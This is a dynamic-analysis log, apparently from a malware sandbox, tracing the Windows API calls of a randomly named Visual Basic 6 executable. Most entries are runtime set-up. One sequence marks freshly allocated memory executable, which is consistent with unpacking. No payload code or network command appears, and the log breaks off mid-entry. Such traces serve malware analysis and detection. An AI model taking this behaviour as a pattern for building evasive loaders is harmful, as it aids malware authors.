# Flog Txt Version 1 # Analyzer Version: 3.2.2 # Analyzer Build Date: Jun 3 2020 08:38:37 # Log Creation Date: 15.06.2020 07:35:21.447 Process: id = "1" image_name = "xeuovifzzc.exe" filename = "c:\\users\\fd1hvy\\desktop\\xeuovifzzc.exe" page_root = "0x1933d000" os_pid = "0x10c8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x560" cmd_line = "\"C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe\" " cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0x10c0 [0081.476] GetVersion () returned 0x23f00206 [0081.477] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x772d0000 [0081.685] GetProcAddress (hModule=0x772d0000, lpProcName="IsTNT") returned 0x0 [0081.685] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x5d0000 [0081.686] VirtualAlloc (lpAddress=0x0, dwSize=0x400000, flAllocationType=0x2000, flProtect=0x4) returned 0x20f0000 [0081.686] VirtualAlloc (lpAddress=0x20f0000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x20f0000 [0081.688] GetCurrentThreadId () returned 0x10c0 [0081.688] GetCommandLineA () returned="\"C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe\" " [0081.688] GetEnvironmentStringsW () returned 0x647da0* [0081.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0081.688] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x570) returned 0x5d05a8 [0081.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x5d05a8, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0081.688] FreeEnvironmentStringsW (penv=0x647da0) returned 1 [0081.688] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x480) returned 0x5d0b20 [0081.688] GetStartupInfoA (in: lpStartupInfo=0x19f8c4 | out: lpStartupInfo=0x19f8c4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0081.688] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0081.688] GetFileType (hFile=0x0) returned 0x0 [0081.688] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0081.688] GetFileType (hFile=0x0) returned 0x0 [0081.688] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0081.688] GetFileType (hFile=0x0) returned 0x0 [0081.688] SetHandleCount (uNumber=0x20) returned 0x20 [0081.689] GetACP () returned 0x4e4 [0081.689] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19f8ec | out: lpCPInfo=0x19f8ec) returned 1 [0081.689] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x6610c528, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\xeuovifzzc.exe")) returned 0x26 [0081.690] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5d05a8 | out: hHeap=0x5d0000) returned 1 [0081.690] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x772d0000 [0081.690] GetProcAddress (hModule=0x772d0000, lpProcName="IsProcessorFeaturePresent") returned 0x772e5960 [0081.690] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0081.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x800) returned 0x5d0fa8 [0081.912] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x148 [0081.912] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0x14c [0081.913] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0081.913] GetModuleFileNameA (in: hModule=0x66000000, lpFilename=0x6610e6c8, nSize=0x104 | out: lpFilename="C:\\WINDOWS\\SYSTEM32\\MSVBVM60.DLL" (normalized: "c:\\windows\\system32\\msvbvm60.dll")) returned 0x20 [0081.913] GetVersion () returned 0x23f00206 [0081.913] lstrcmpiW (lpString1="A", lpString2="B") returned -1 [0081.929] GetUserDefaultLCID () returned 0x409 [0081.929] CompareStringW (Locale=0x409, dwCmpFlags=0x30001, lpString1="A", cchCount1=-1, lpString2="B", cchCount2=-1) returned 1 [0081.929] GetSystemMetrics (nIndex=5) returned 1 [0081.929] GetSystemMetrics (nIndex=6) returned 1 [0081.929] GetSystemMetrics (nIndex=11) returned 32 [0081.929] GetSystemMetrics (nIndex=12) returned 32 [0081.929] GetSystemMetrics (nIndex=34) returned 136 [0081.929] GetSystemMetrics (nIndex=35) returned 39 [0081.929] GetSystemMetrics (nIndex=0) returned 1440 [0081.929] GetSystemMetrics (nIndex=1) returned 900 [0081.929] GetSystemMetrics (nIndex=32) returned 8 [0081.930] GetSystemMetrics (nIndex=33) returned 8 [0081.930] GetSystemMetrics (nIndex=42) returned 0 [0081.930] GetStockObject (i=15) returned 0x88000b [0081.930] GetStockObject (i=7) returned 0xb00017 [0081.930] GetStockObject (i=6) returned 0xb00018 [0081.930] GetStockObject (i=8) returned 0xb00016 [0081.930] GetStockObject (i=4) returned 0x900011 [0081.930] GetStockObject (i=2) returned 0x900012 [0081.930] GetStockObject (i=0) returned 0x900010 [0081.930] GetStockObject (i=5) returned 0x900015 [0081.930] GetStockObject (i=13) returned 0x8a01c2 [0081.930] GetDC (hWnd=0x0) returned 0x60100ce [0081.930] GetTextExtentPointA (in: hdc=0x60100ce, lpString="0", c=1, lpsz=0x19f8e8 | out: lpsz=0x19f8e8) returned 1 [0081.943] GetDeviceCaps (hdc=0x60100ce, index=14) returned 1 [0081.943] GetDeviceCaps (hdc=0x60100ce, index=12) returned 32 [0081.943] GetDeviceCaps (hdc=0x60100ce, index=88) returned 96 [0081.943] GetDeviceCaps (hdc=0x60100ce, index=90) returned 96 [0081.943] GetDeviceCaps (hdc=0x60100ce, index=38) returned 32409 [0081.943] ReleaseDC (hWnd=0x0, hDC=0x60100ce) returned 1 [0081.943] HeapCreate (flOptions=0x0, dwInitialSize=0x0, dwMaximumSize=0x0) returned 0x2090000 [0081.944] CoGetMalloc (in: dwMemContext=0x1, ppMalloc=0x6610e7d0 | out: ppMalloc=0x6610e7d0*=0x74b3d000) returned 0x0 [0081.944] GetCurrentThreadId () returned 0x10c0 [0081.945] GetStartupInfoA (in: lpStartupInfo=0x19ff18 | out: lpStartupInfo=0x19ff18*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0081.945] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x104) returned 0x20905a8 [0081.945] GetCurrentThreadId () returned 0x10c0 [0081.945] GetCurrentThreadId () returned 0x10c0 [0081.945] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0xec8) returned 0x20906b8 [0081.954] GetCommandLineA () returned="\"C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe\" " [0081.954] lstrlenA (lpString="") returned 0 [0081.954] lstrcpyA (in: lpString1=0x19fea4, lpString2="" | out: lpString1="") returned="" [0081.955] SetErrorMode (uMode=0x8001) returned 0x0 [0081.955] GetModuleFileNameA (in: hModule=0x66000000, lpFilename=0x19fb60, nSize=0x104 | out: lpFilename="C:\\WINDOWS\\SYSTEM32\\MSVBVM60.DLL" (normalized: "c:\\windows\\system32\\msvbvm60.dll")) returned 0x20 [0081.955] GetUserDefaultLCID () returned 0x409 [0082.009] GetUserDefaultLCID () returned 0x409 [0082.009] LoadStringA (in: hInstance=0x66000000, uID=0x7d1, lpBuffer=0x19fc64, cchBufferMax=8 | out: lpBuffer="409") returned 0x3 [0082.009] GetSystemDefaultLCID () returned 0x409 [0082.009] GetUserDefaultLCID () returned 0x409 [0082.009] GetLocaleInfoA (in: Locale=0x400, LCType=0xe, lpLCData=0x19fc6e, cchData=2 | out: lpLCData=".") returned 2 [0082.009] GetStockObject (i=13) returned 0x8a01c2 [0082.009] GetObjectA (in: h=0x8a01c2, c=60, pv=0x19fc34 | out: pv=0x19fc34) returned 60 [0082.010] GetLocaleInfoA (in: Locale=0x409, LCType=0x80000003, lpLCData=0x19fc30, cchData=4 | out: lpLCData="ENU") returned 4 [0082.010] lstrcpyA (in: lpString1=0x19fc60, lpString2="EN" | out: lpString1="EN") returned="EN" [0082.010] lstrlenA (lpString="{xx}") returned 4 [0082.010] lstrlenA (lpString="VB98.CHM") returned 8 [0082.010] lstrcpyA (in: lpString1=0x6610eae8, lpString2="VB98.CHM" | out: lpString1="VB98.CHM") returned="VB98.CHM" [0082.010] GetLocaleInfoA (in: Locale=0x409, LCType=0x80000003, lpLCData=0x19fc30, cchData=4 | out: lpLCData="ENU") returned 4 [0082.010] lstrcpyA (in: lpString1=0x19fc60, lpString2="EN" | out: lpString1="EN") returned="EN" [0082.010] lstrlenA (lpString="{xx}") returned 4 [0082.010] lstrlenA (lpString="VBENLR98.CHM") returned 12 [0082.010] lstrcpyA (in: lpString1=0x6610ebf0, lpString2="VBENLR98.CHM" | out: lpString1="VBENLR98.CHM") returned="VBENLR98.CHM" [0082.010] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x19fd88, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\xeuovifzzc.exe")) returned 0x26 [0082.010] GetModuleFileNameA (in: hModule=0x66000000, lpFilename=0x19fc84, nSize=0x104 | out: lpFilename="C:\\WINDOWS\\SYSTEM32\\MSVBVM60.DLL" (normalized: "c:\\windows\\system32\\msvbvm60.dll")) returned 0x20 [0082.010] lstrcpynA (in: lpString1=0x19fb68, lpString2="C:\\WINDOWS\\SYSTEM32\\MSVBVM60.DLL", iMaxLength=260 | out: lpString1="C:\\WINDOWS\\SYSTEM32\\MSVBVM60.DLL") returned="C:\\WINDOWS\\SYSTEM32\\MSVBVM60.DLL" [0082.010] lstrlenA (lpString="C:\\WINDOWS\\SYSTEM32\\MSVBVM60.DLL") returned 32 [0082.010] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x21) returned 0x2091588 [0082.010] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x0, Size=0x21) returned 0x20915b8 [0082.010] lstrcpyA (in: lpString1=0x2091588, lpString2="C:\\WINDOWS\\SYSTEM32\\MSVBVM60.DLL" | out: lpString1="C:\\WINDOWS\\SYSTEM32\\MSVBVM60.DLL") returned="C:\\WINDOWS\\SYSTEM32\\MSVBVM60.DLL" [0082.010] LCMapStringA (in: Locale=0x409, dwMapFlags=0x200, lpSrcStr="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe", cchSrc=-1, lpDestStr=0x19fb48, cchDest=260 | out: lpDestStr="C:\\USERS\\FD1HVY\\DESKTOP\\XEUOVIFZZC.EXE") returned 39 [0082.067] InitializeSecurityDescriptor (in: pSecurityDescriptor=0x19fc4c, dwRevision=0x1 | out: pSecurityDescriptor=0x19fc4c) returned 1 [0082.067] SetSecurityDescriptorDacl (in: pSecurityDescriptor=0x19fc4c, bDaclPresent=1, pDacl=0x0, bDaclDefaulted=0 | out: pSecurityDescriptor=0x19fc4c) returned 1 [0082.067] CreateSemaphoreA (lpSemaphoreAttributes=0x19fc60, lInitialCount=0, lMaximumCount=2147483647, lpName="C:?USERS?FD1HVY?DESKTOP?XEUOVIFZZC.EXE") returned 0x160 [0082.067] GetLastError () returned 0x0 [0082.067] GetVersionExA (in: lpVersionInformation=0x19fbc4*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x19fbc4*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0082.067] OleInitialize (pvReserved=0x0) returned 0x0 [0083.349] OaBuildVersion () returned 0x321396 [0083.349] LoadLibraryA (lpLibFileName="OLEAUT32.DLL") returned 0x77440000 [0083.350] GetLastError () returned 0x0 [0083.350] GetProcAddress (hModule=0x77440000, lpProcName="OleLoadPictureEx") returned 0x774ae5f0 [0083.350] RegisterClipboardFormatA (lpszFormat="Link") returned 0xc151 [0083.350] RegisterClipboardFormatA (lpszFormat="Rich Text Format") returned 0xc07a [0083.350] GetClassInfoA (in: hInstance=0x66000000, lpClassName="VBFocusRT6", lpWndClass=0x19fc2c | out: lpWndClass=0x19fc2c) returned 0 [0083.350] RegisterClassA (lpWndClass=0x19fc2c) returned 0xc19b [0083.350] GetClassInfoA (in: hInstance=0x66000000, lpClassName="VBBubbleRT6", lpWndClass=0x19fc2c | out: lpWndClass=0x19fc2c) returned 0 [0083.351] RegisterClassA (lpWndClass=0x19fc2c) returned 0xc19a [0083.351] HeapCreate (flOptions=0x0, dwInitialSize=0x400, dwMaximumSize=0x0) returned 0x5b0000 [0083.351] GetUserDefaultLCID () returned 0x409 [0083.351] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x3a4) returned 0x20915e8 [0083.351] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x3a4) returned 0x2091998 [0083.351] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0xd4) returned 0x2091d48 [0083.351] GetSystemInfo (in: lpSystemInfo=0x19fbec | out: lpSystemInfo=0x19fbec*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0083.351] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x2000, flProtect=0x4) returned 0x430000 [0083.351] VirtualAlloc (lpAddress=0x430000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x430000 [0083.352] VirtualAlloc (lpAddress=0x430000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x430000 [0083.352] VirtualAlloc (lpAddress=0x430000, dwSize=0x3000, flAllocationType=0x1000, flProtect=0x4) returned 0x430000 [0083.352] VirtualAlloc (lpAddress=0x430000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x430000 [0083.352] VirtualAlloc (lpAddress=0x430000, dwSize=0x5000, flAllocationType=0x1000, flProtect=0x4) returned 0x430000 [0083.352] VirtualAlloc (lpAddress=0x430000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0x430000 [0083.353] VirtualProtect (in: lpAddress=0x430000, dwSize=0x6000, flNewProtect=0x20, lpflOldProtect=0x19fc48 | out: lpflOldProtect=0x19fc48*=0x4) returned 1 [0083.354] GetCurrentProcess () returned 0xffffffff [0083.354] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x430000, dwSize=0x6000) returned 1 [0083.354] GlobalAddAtomA (lpString="VBDisabled") returned 0xc0f8 [0083.354] GetVersion () returned 0x23f00206 [0083.354] GetModuleHandleA (lpModuleName="oleaut32.dll") returned 0x77440000 [0083.355] GetProcAddress (hModule=0x77440000, lpProcName="DispCallFunc") returned 0x7747b8f0 [0083.355] GetProcAddress (hModule=0x77440000, lpProcName="LoadTypeLibEx") returned 0x774563f0 [0083.355] GetProcAddress (hModule=0x77440000, lpProcName="UnRegisterTypeLib") returned 0x77494910 [0083.355] GetProcAddress (hModule=0x77440000, lpProcName="CreateTypeLib2") returned 0x77476040 [0083.355] GetProcAddress (hModule=0x77440000, lpProcName="VarDateFromUdate") returned 0x77462cb0 [0083.355] GetProcAddress (hModule=0x77440000, lpProcName="VarUdateFromDate") returned 0x77462dc0 [0083.355] GetProcAddress (hModule=0x77440000, lpProcName="GetAltMonthNames") returned 0x774aacd0 [0083.355] GetProcAddress (hModule=0x77440000, lpProcName="VarNumFromParseNum") returned 0x77465920 [0083.355] GetProcAddress (hModule=0x77440000, lpProcName="VarParseNumFromStr") returned 0x77459490 [0083.355] GetProcAddress (hModule=0x77440000, lpProcName="VarDecFromR4") returned 0x77453090 [0083.355] GetProcAddress (hModule=0x77440000, lpProcName="VarDecFromR8") returned 0x774af1a0 [0083.356] GetProcAddress (hModule=0x77440000, lpProcName="VarDecFromDate") returned 0x774af000 [0083.356] GetProcAddress (hModule=0x77440000, lpProcName="VarDecFromI4") returned 0x774af0f0 [0083.356] GetProcAddress (hModule=0x77440000, lpProcName="VarDecFromCy") returned 0x774aefc0 [0083.356] GetProcAddress (hModule=0x77440000, lpProcName="VarR4FromDec") returned 0x774af7b0 [0083.356] GetProcAddress (hModule=0x77440000, lpProcName="GetRecordInfoFromTypeInfo") returned 0x77462220 [0083.356] GetProcAddress (hModule=0x77440000, lpProcName="GetRecordInfoFromGuids") returned 0x774ae250 [0083.356] GetProcAddress (hModule=0x77440000, lpProcName="SafeArrayGetRecordInfo") returned 0x774ae9a0 [0083.356] GetProcAddress (hModule=0x77440000, lpProcName="SafeArraySetRecordInfo") returned 0x77463550 [0083.356] GetProcAddress (hModule=0x77440000, lpProcName="SafeArrayGetIID") returned 0x774ae960 [0083.356] GetProcAddress (hModule=0x77440000, lpProcName="SafeArraySetIID") returned 0x77461a60 [0083.356] GetProcAddress (hModule=0x77440000, lpProcName="SafeArrayCopyData") returned 0x77463ee0 [0083.357] GetProcAddress (hModule=0x77440000, lpProcName="SafeArrayAllocDescriptorEx") returned 0x774636b0 [0083.357] GetProcAddress (hModule=0x77440000, lpProcName="SafeArrayCreateEx") returned 0x774635c0 [0083.357] GetProcAddress (hModule=0x77440000, lpProcName="VarFormat") returned 0x77478000 [0083.357] GetProcAddress (hModule=0x77440000, lpProcName="VarFormatDateTime") returned 0x774b1240 [0083.357] GetProcAddress (hModule=0x77440000, lpProcName="VarFormatNumber") returned 0x774b1290 [0083.357] GetProcAddress (hModule=0x77440000, lpProcName="VarFormatPercent") returned 0x774b1340 [0083.357] GetProcAddress (hModule=0x77440000, lpProcName="VarFormatCurrency") returned 0x774b1180 [0083.357] GetProcAddress (hModule=0x77440000, lpProcName="VarWeekdayName") returned 0x774b1480 [0083.358] GetProcAddress (hModule=0x77440000, lpProcName="VarMonthName") returned 0x774b13e0 [0083.358] GetProcAddress (hModule=0x77440000, lpProcName="VarAdd") returned 0x7747d610 [0083.358] GetProcAddress (hModule=0x77440000, lpProcName="VarAnd") returned 0x77473200 [0083.358] GetProcAddress (hModule=0x77440000, lpProcName="VarCat") returned 0x77472f10 [0083.358] GetProcAddress (hModule=0x77440000, lpProcName="VarDiv") returned 0x774a5800 [0083.358] GetProcAddress (hModule=0x77440000, lpProcName="VarEqv") returned 0x774a6160 [0083.358] GetProcAddress (hModule=0x77440000, lpProcName="VarIdiv") returned 0x774a61a0 [0083.358] GetProcAddress (hModule=0x77440000, lpProcName="VarImp") returned 0x774a6320 [0083.358] GetProcAddress (hModule=0x77440000, lpProcName="VarMod") returned 0x774a6400 [0083.359] GetProcAddress (hModule=0x77440000, lpProcName="VarMul") returned 0x7747db10 [0083.359] GetProcAddress (hModule=0x77440000, lpProcName="VarOr") returned 0x774a6610 [0083.359] GetProcAddress (hModule=0x77440000, lpProcName="VarPow") returned 0x774a5e40 [0083.359] GetProcAddress (hModule=0x77440000, lpProcName="VarSub") returned 0x7747e3e0 [0083.359] GetProcAddress (hModule=0x77440000, lpProcName="VarXor") returned 0x774a67b0 [0083.359] GetProcAddress (hModule=0x77440000, lpProcName="VarAbs") returned 0x774a4ca0 [0083.359] GetProcAddress (hModule=0x77440000, lpProcName="VarFix") returned 0x774a4f50 [0083.359] GetProcAddress (hModule=0x77440000, lpProcName="VarInt") returned 0x774a5100 [0083.359] GetProcAddress (hModule=0x77440000, lpProcName="VarNeg") returned 0x774a52c0 [0083.359] GetProcAddress (hModule=0x77440000, lpProcName="VarNot") returned 0x774a6560 [0083.360] GetProcAddress (hModule=0x77440000, lpProcName="VarRound") returned 0x774a54f0 [0083.360] GetProcAddress (hModule=0x77440000, lpProcName="VarCmp") returned 0x774660b0 [0083.360] GetProcAddress (hModule=0x77440000, lpProcName="VarDecAdd") returned 0x7747b090 [0083.360] GetProcAddress (hModule=0x77440000, lpProcName="VarDecCmp") returned 0x7747b870 [0083.360] GetProcAddress (hModule=0x77440000, lpProcName="VarBstrCat") returned 0x77466fc0 [0083.360] GetProcAddress (hModule=0x77440000, lpProcName="VarCyMulI4") returned 0x7747aac0 [0083.360] GetProcAddress (hModule=0x77440000, lpProcName="VarBstrCmp") returned 0x77466590 [0083.360] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x753c0000 [0083.360] GetProcAddress (hModule=0x753c0000, lpProcName="CoCreateInstanceEx") returned 0x74a52d10 [0083.360] GetProcAddress (hModule=0x753c0000, lpProcName="CLSIDFromProgIDEx") returned 0x74a45cf0 [0083.361] GetSystemMetrics (nIndex=42) returned 0 [0083.361] CoGetMalloc (in: dwMemContext=0x1, ppMalloc=0x6610e688 | out: ppMalloc=0x6610e688*=0x74b3d000) returned 0x0 [0083.361] IMalloc:Alloc (This=0x74b3d000, cb=0x4) returned 0x643f30 [0083.361] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x19f960, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\xeuovifzzc.exe")) returned 0x26 [0083.361] lstrcatA (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe", lpString2=".cfg" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe.cfg") returned="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe.cfg" [0083.361] SetLastError (dwErrCode=0x0) [0083.361] SearchPathA (in: lpPath=0x0, lpFileName="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe.cfg", lpExtension=0x0, nBufferLength=0x103, lpBuffer=0x19f85c, lpFilePart=0x19f830 | out: lpBuffer="", lpFilePart=0x19f830*="\x8bÿU\x8bì\x83ì\x1cS\x8b]\x0cVWÆEÿ") returned 0x0 [0083.361] SetLastError (dwErrCode=0x2) [0083.361] GetLastError () returned 0x2 [0083.361] lstrcmpiA (lpString1="xeuovifzzc", lpString2="MTX") returned 1 [0083.361] lstrcmpiA (lpString1="xeuovifzzc", lpString2="DLLHOST") returned 1 [0083.361] lstrcmpiA (lpString1="xeuovifzzc", lpString2="INETINFO") returned 1 [0083.361] lstrcmpiA (lpString1="xeuovifzzc", lpString2="W3WP") returned 1 [0083.362] lstrcmpiA (lpString1="xeuovifzzc", lpString2="ASPNET_WP") returned 1 [0083.362] lstrcmpiA (lpString1="xeuovifzzc", lpString2="DLLHST3G") returned 1 [0083.362] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x19f954, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\xeuovifzzc.exe")) returned 0x26 [0083.362] lstrcmpiA (lpString1="xeuovifzzc", lpString2="IEXPLORE") returned 1 [0083.362] LoadLibraryA (lpLibFileName="SXS.DLL") returned 0x74250000 [0083.617] GetLastError () returned 0x0 [0083.617] GetProcAddress (hModule=0x74250000, lpProcName="SxsOleAut32MapIIDOrCLSIDToTypeLibrary") returned 0x742b9bc0 [0083.617] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fea4, cbMultiByte=-1, lpWideCharStr=0x19fea0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0083.617] RtlAllocateHeap (HeapHandle=0x2090000, Flags=0x8, Size=0x1c) returned 0x2091e28 [0083.618] CoRegisterMessageFilter (in: lpMessageFilter=0x2091e2c, lplpMessageFilter=0x2091e34 | out: lplpMessageFilter=0x2091e34*=0x0) returned 0x0 [0083.618] IUnknown:AddRef (This=0x2091e2c) returned 0x2 [0083.618] GetClassInfoExA (in: hInstance=0x66000000, lpszClass="ThunderRT6Main", lpwcx=0x19fe70 | out: lpwcx=0x19fe70) returned 0 [0083.618] LoadIconA (hInstance=0x400000, lpIconName=0x1) returned 0x902bd [0083.621] GetModuleHandleA (lpModuleName="USER32") returned 0x750c0000 [0083.621] GetProcAddress (hModule=0x750c0000, lpProcName="GetSystemMetrics") returned 0x750eddc0 [0083.621] GetProcAddress (hModule=0x750c0000, lpProcName="MonitorFromWindow") returned 0x750d5c10 [0083.621] GetProcAddress (hModule=0x750c0000, lpProcName="MonitorFromRect") returned 0x750d5820 [0083.621] GetProcAddress (hModule=0x750c0000, lpProcName="MonitorFromPoint") returned 0x750d6810 [0083.621] GetProcAddress (hModule=0x750c0000, lpProcName="EnumDisplayMonitors") returned 0x750f32e0 [0083.621] GetProcAddress (hModule=0x750c0000, lpProcName="GetMonitorInfoA") returned 0x750edf30 [0083.621] GetSystemMetrics (nIndex=0) returned 1440 [0083.621] GetSystemMetrics (nIndex=78) returned 1440 [0083.621] GetSystemMetrics (nIndex=1) returned 900 [0083.622] GetSystemMetrics (nIndex=79) returned 900 [0083.622] GetSystemMetrics (nIndex=50) returned 16 [0083.622] GetSystemMetrics (nIndex=49) returned 16 [0083.622] LoadImageA (hInst=0x400000, name=0x1, type=0x1, cx=16, cy=16, fuLoad=0x0) returned 0xd029f [0083.624] RegisterClassExA (param_1=0x19fe70) returned 0xc19e [0083.624] CreateWindowExA (dwExStyle=0x80, lpClassName="ThunderRT6Main", lpWindowName=0x0, dwStyle=0x80090000, X=-2147483648, Y=-2147483648, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x66000000, lpParam=0x0) returned 0x7012a [0084.435] NtdllDefWindowProc_A (hWnd=0x7012a, Msg=0x81, wParam=0x0, lParam=0x19f9e0) returned 0x1 [0084.443] NtdllDefWindowProc_A (hWnd=0x7012a, Msg=0x83, wParam=0x0, lParam=0x19f9cc) returned 0x0 [0084.443] NtdllDefWindowProc_A (hWnd=0x7012a, Msg=0x1, wParam=0x0, lParam=0x19f9e0) returned 0x0 [0084.444] NtdllDefWindowProc_A (hWnd=0x7012a, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0 [0084.444] NtdllDefWindowProc_A (hWnd=0x7012a, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0084.444] MonitorFromWindow (hwnd=0x7012a, dwFlags=0x2) returned 0x10001 [0084.444] GetMonitorInfoA (in: hMonitor=0x10001, lpmi=0x19fe78 | out: lpmi=0x19fe78) returned 1 [0084.444] SetWindowPos (hWnd=0x7012a, hWndInsertAfter=0x0, X=720, Y=450, cx=0, cy=0, uFlags=0x1d) returned 1 [0084.444] NtdllDefWindowProc_A (hWnd=0x7012a, Msg=0x46, wParam=0x0, lParam=0x19fe1c) returned 0x0 [0084.446] NtdllDefWindowProc_A (hWnd=0x7012a, Msg=0x47, wParam=0x0, lParam=0x19fe1c) returned 0x0 [0084.446] NtdllDefWindowProc_A (hWnd=0x7012a, Msg=0x3, wParam=0x0, lParam=0x1c202d0) returned 0x0 [0084.446] ShowWindow (hWnd=0x7012a, nCmdShow=4) returned 0 [0084.446] NtdllDefWindowProc_A (hWnd=0x7012a, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0084.446] NtdllDefWindowProc_A (hWnd=0x7012a, Msg=0x46, wParam=0x0, lParam=0x19fe2c) returned 0x0 [0084.452] NtdllDefWindowProc_A (hWnd=0x7012a, Msg=0x47, wParam=0x0, lParam=0x19fe2c) returned 0x0 [0084.452] GetWindowThreadProcessId (in: hWnd=0x7012a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x10c0 [0084.452] VirtualQuery 